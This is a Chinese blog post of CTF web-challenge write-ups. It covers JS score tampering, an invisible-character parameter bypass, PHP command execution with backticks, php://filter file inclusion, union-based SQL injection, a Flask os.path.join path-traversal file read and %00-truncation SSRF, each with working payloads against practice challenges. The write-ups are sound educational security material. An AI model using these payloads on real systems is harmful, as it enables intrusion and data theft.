用dirsearch扫描发现两个文件

访问test.txt文件,发现一串代码

 代码审计:

GET请求传入一个参数cxk,当cxk的内容为ctrl时得到flag

直接用data伪协议查看发现没显示

访问www.rar文件,下载后打开发现一个路径

访问

再次用data伪协议(上面用base64查看多此一举但是一样无显示),得到flag

[GDOUCTF 2023]hate eat snake

 类型:JS分析、Java、代码审计

主要知识点:js代码分析修改

法一:利用bug

撞墙后点击取消发现页面并没有消失利用这个bug等60秒后再次按空格直接出flag

 法二:分析js文件利用控制器修改数据

查看js文件搜索if(正常通关应该是条件语句)发现一段疑似通关条件的内容依据页面的60秒猜测应该要大于60秒就能返回flag

 而getScore函数在Snake.prototype中,构造payload

Snake.prototype.getScore = () => 61(函数调用有点类似c#)

在控制器里运行再次点击空格得到flag

 [HNCTF 2022 Week1]2048

类型:JS分析、其他、代码审计

主要知识点:js代码分析修改

将js文件下载后分析,搜索if判断通关条件,发现需要大于20000分

 score在game里调用score需要game.score,在控制器里构造payload

game.score=20001(函数调用有点类似c#)

输入后继续运行游戏得到flag

[NISACTF 2022]checkin

类型:代码审计、信息收集、PHP

主要知识点:不可见字符绕过

代码审计:

GET请求传入参数ahahahaha和cuishiyuan当ahahahaha=jitanglailo和cuishiyuan=N1SACTF时得到flag。

输入后发现没有回显,看提示也说了“为什么不给我flag”说明该思路是错的

没有思路,看一下出题人给的提示

将源码复制到php文件中用010打开,发现第二个参数和它的值都变了有不可见字符

将其改为txt文件再次查看改变部分的16进制值

用python脚本将空格替换为%,使得编码变成url形式的了,提交的数据将会经过pup自动转码,无法转码的则是源码内的其他编码,数据比对成功

脚本:

a = 'E2 80 AE E2 81 A6 55 67 65 69 77 6F E2 81 A9 E2 81 A6 63 75 69 73 68 69 79 75 61 6E'
b = ''
for i in a.split():
    x = '%' + i
    b += x

print(b)
#a里为要替换的文本

 构造pyload

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

输入得到flag

[UUCTF 2022 新生赛]ez_rce

类型:RCE、WAF绕过、空格绕过

代码审计:

GET请求传入一个参数code,正则禁用了一堆符号,通过命令注入查看文件。

尝试取反绕过但发现没法绕过

sys被禁用了尝试用\绕过发现不行,暂时不用system改用printf,ls被过滤了用\绕过,构造pyload:

?code=printf('l\s /')

输入发现直接被打印了命令未执行

 上网查了一下要怎么用printf执行命令得知了反引号(``)

扩展:

反引号(``) 执行运算符(注意这不是单引号)PHP 将尝试将反引号中的内容作为外壳命令来执行,并将其输出信息返回(例如,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同

构造payload:

?code=printf(`l\s /`);

 输入后成功绕过

查看fffffffffflagafag

?code=printf(`c\at /fffffffffflagafag`);

输入得到flag

[CISCN 2019华东南]Web11

类型:SSTI、Smarty、RCE

 

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

类型:PHP伪协议、PHP、文件包含

主要知识点:php://filter伪协议

代码审计:

GET请求传入一个参数file,当file的值前三个被截断的是php时得到flag.php

直接php://filter伪协议

解码后发现得到了假的flag,真的flag在/flag

 继续构造

解码得到flag

[LitCTF 2023]这是什么?SQL !注一下 !

类型:SQL注入

主要知识点:SQL语句分析、union注入查看所有库

发现页面给出了一段sql查询语句,从users这个表查找id为'.'((((((的username和password

尝试输入1\,发现右边的sql语句有变化直接将输入值打印在中间

尝试输入1 and 1=1,发现有回显

用1' and '1'=1和1 and 1=2尝试都没回显,判断应该是数字型注入

用group by判断列数发现怎么都是无回显,尝试用报错注入也不行,猜测有可能是盲注,Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) )可能是正确页面的回显,用脚本发现也盲注也不行。

再次分析发现左边那个sql语句不全划过去还有内容其实已经给出闭合符了前面都是在瞎判断,闭合符为))))))

再次用group by判断列,得知列有2列(这里--+被过滤了尝试用#发现可以)

开始union注入

判断回显位

爆库,为ctf

爆表

爆列但没有发现flag的踪迹

发现有两个id,username,password感觉有点奇怪,尝试查看一下发现个假flag(人麻了)

查的是当前库,查看所有库看看

1)))))) union select 1,schema_name from information_schema.schemata#

发现可疑库ctftraining

再次注入

爆表,总算是找到flag

 爆列后查看flag

1)))))) union select 1,group_concat(flag) from ctftraining.flag#

 输入后得到flag

[HNCTF 2022 Week1]easy_html

类型:HTTP协议、JS分析

主要知识点:html限制、前端修改

 

用dirsearch扫描看看

访问flag.php,是一句报错语句暂时也不知道啥用

 返回原来页面,抓包看看发现cookie里有可疑路径(饼干的用bp英文是cookie)

访问看看

 随便输入一串数字回显nononononono!!!!,用sql尝试也不行。

查了一下手机号长度正常为11位,尝试输入11位数字发现只能输入到10位,应该是被限制了。

打开源码查看确实被限制了

所以我们尝试绕过这个限制,打开前端直接修改为11

随便输入11位数得到flag

[NISACTF 2022]babyupload 

类型:文件上传、Python、Flask

主要知识点:flask框架代码分析、绝对路径拼接漏洞

随便上传一个一句话木马文件

 发现回显一个不好的文件名,bp抓包尝试改名改后缀发现没啥用

打开源码看看发现一个可疑路径

访问后下载了一个压缩包打开后是一个python文件,打开是网页的脚本文件

代码审计:(对解题不相干代码被#注释)

# from flask import Flask, request, redirect, g, send_from_directory
# import sqlite3
# import os
# import uuid
# 
# app = Flask(__name__)
# 
# SCHEMA = """CREATE TABLE files (
# id text primary key,
# path text
# );
# """
# 
# 
# def db():
#     g_db = getattr(g, '_database', None)
#     if g_db is None:
#         g_db = g._database = sqlite3.connect("database.db")
#     return g_db
# 
# 
# @app.before_first_request
# def setup():
#     os.remove("database.db")
#     cur = db().cursor()
#     cur.executescript(SCHEMA)
# 
# 
# @app.route('/')
# def hello_world():
#     return """<!DOCTYPE html>
# <html>
# <body>
# <form action="/upload" method="post" enctype="multipart/form-data">
#     Select image to upload:
#     <input type="file" name="file">
#     <input type="submit" value="Upload File" name="submit">
# </form>
# <!-- /source -->
# </body>
# </html>"""
# 
# 
# @app.route('/source')
# def source():
#     return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])    #文件上传
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
        #文件不能有后缀,当上传文件名有“.”则返回“Bad filename!”
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    #生成一个UUID(通用唯一识别码)并将其转换为十六进制字符串,这个UUID将作为文件记录的主键。
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
        #使用 cur.execute() 方法将文件的ID和文件名插入到files表中。
    except sqlite3.IntegrityError:
        return "Duplicate file"
        #如果插入操作因为完整性错误(例如,尝试插入一个已经存在的主键)而失败,我们会捕获 sqlite3.IntegrityError 异常,并返回 “Duplicate file” 信息。
    conn.commit()
    #如果插入成功,我们调用 conn.commit() 方法来提交事务,确保对数据库的更改被保存。

    file.save('uploads/' + file.filename)
    #将用户上传的文件保存到服务器上的uploads目录,并且保持原来的文件名。
    return redirect('/file/' + uid)
    #件被上传并保存,用户将被重定向到一个显示文件详情的页面,该页面的URL包含文件的唯一ID(uid)

@app.route('/file/<id>')    #读取
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    #fetchone() 方法返回查询结果的第一行。
    if res is None:
        return "File not found", 404
    #res is None表明没有找到与给定 id 相匹配的文件记录,因此返回一个 404 错误响应,表明文件未找到。

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()
    #os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。
    #打开服务器上 uploads 目录中对应的文件,并以只读模式读取文件内容。然后,将文件内容作为响应返回给客户端。


#if __name__ == '__main__':
#    app.run(host='0.0.0.0', port=80)

我们可以利用绝对路径拼接漏洞

根据os.path.join()函数的特性:如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径。

因此我们可以令res[0]=/flag此时就相当于/uploads/flag,就会读取flag文件下的内容(当然这里是假设flag放在flag这个文件中)。

根据分析结果传入/flag文件即是使res[0]=/flag

访问得到flag

 

[GKCTF 2020]cve版签到

类型:%00截断、PHP、SSRF

主要知识点:%00截断

 

点击view

 用f12打开查看发现在网络里hint响应头说flag在localhost(127.0.0.1)里

所以这里访问看看,发现并没有flag

发现页面有给要求只能访问后缀为.ctfhub.com的地址但是这样就没办法访问localhost,所以这里可以用要%00截断

扩展:

%00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。

构造payload:

?url=http://127.0.0.1%00.ctfhub.com

发现host需要以123结尾,继续构造

?url=http://127.0.0.123%00.ctfhub.com

得到flag

[NISACTF 2022]babyserialize

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值